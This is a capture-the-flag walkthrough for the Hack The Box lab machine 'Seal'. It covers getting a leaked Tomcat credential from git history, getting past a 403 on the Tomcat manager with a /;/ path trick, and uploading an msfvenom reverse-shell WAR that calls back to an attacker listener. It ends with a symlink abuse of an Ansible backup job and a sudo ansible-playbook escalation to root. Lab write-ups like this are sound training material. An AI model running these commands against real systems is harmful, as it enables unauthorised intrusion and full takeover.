SEAL

seal.htb IP 10.10.10.250
Keywords: tomcat nginx burpsuite symlink

NMAP Port 8080, 443

Accessing 10.10.10.250:8080 gives us login page. * create user and log in, look through commits and find old password and user

• enumerate the site and see that users luis and alex har commited changes to the sites repository.

• interesting file: tomcat-user.xml

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

• Try to log in on gitbucket with "luis" and password "42MrHBf*z8{Z%" -> success
• The gitbucket repo shows that site /manager/html is under "sites-available" .
• enumerate and read up on tomcat.
• Try to access http://10.10.10.250/manager/html and get 403.
• try http://10.10.10.250/manager/foo we get an template error, pointing to:

404 Not found

The page you tried to access (/manager/foo) does not exist.

The Manager application has been re-structured for Tomcat 7 onwards and some of URLs have changed. All URLs used to access the Manager application should now start with one of the following options:

    /manager/html for the HTML GUI
    /manager/text for the text interface
    /manager/jmxproxy for the JMX proxy
    /manager/status for the status pages

Note that the URL for the text interface has changed from "/manager" to "/manager/text".

You probably need to adjust the URL you are using to access the Manager application. However, there is always a chance you have found a bug in the Manager application. If you are sure you have found a bug, and that the bug has not already been reported, please report it to the Apache Tomcat team. 

We can feel certain that the site /manager/html excists and have to try to bypass the 403. * Do some serching and find an bypass technique. * Add /;/ to the url and we can access the site.

The sites allows us to upload a war-file to the server. This can allow us to get a reverse shell connected to us. Create war-file with: msfvenom -p java/shell_reverse_tcp lhost=10.10.16.2 lport=4321 -f war -o pwn.war

Then upload a WAR-file crafted for a reverse shell to a port we've set up to listen with nc -nvlp 4321.

The upload fails because of the 403 error. We need to intercept the upload request with burpsuite and edit the url to /mananger/;/html/........rest_of_url

If we look at http://10.10.10.250/;/manager/htmlwe find our war-file listed under the root file structure on the server. Access the war-file with: http://10.10.10.250/<war-name>

Voilà! REv3rse shell!

• Create interactive shell. python3 -c "import pty; pty.spawn('/bin/bash')" python -c "import pty; pty.spawn('/bin/bash')"

• run linpeas.sh

-rw-rw-r-- 1 luis luis 403 May  7 07:14 /opt/backups/playbook/run.yml(edited)
[7:35 PM]
lrwxrwxrwx 1 root root 68 Mar 16  2020 ansible -> ../lib/python3/dist-packages/ansible/cli/scripts/ansible_cli_stub.py

shows us that run.yml is processed and runned fairly often. The file runs a script that copies files from root over to a folder. The process also keeps links.

cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

If we create a symlink we should get the file with the backup generated. , Ty to create ln -s /home/luis/.ssh/id_rsa link at the upload folder under dashboard.

Then find the backup under /opt/backups/archives and rename the file to end with .tar.gz. Unzip with tar -xf and go to upload folder that was unzipped, and find .ssh key for root. Then use the key to tunnel in with ssh as luis.

Then run sudo -l and find that ansible-playbook can ble run. Use the GTFO exploit and get root.

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

$whoami> root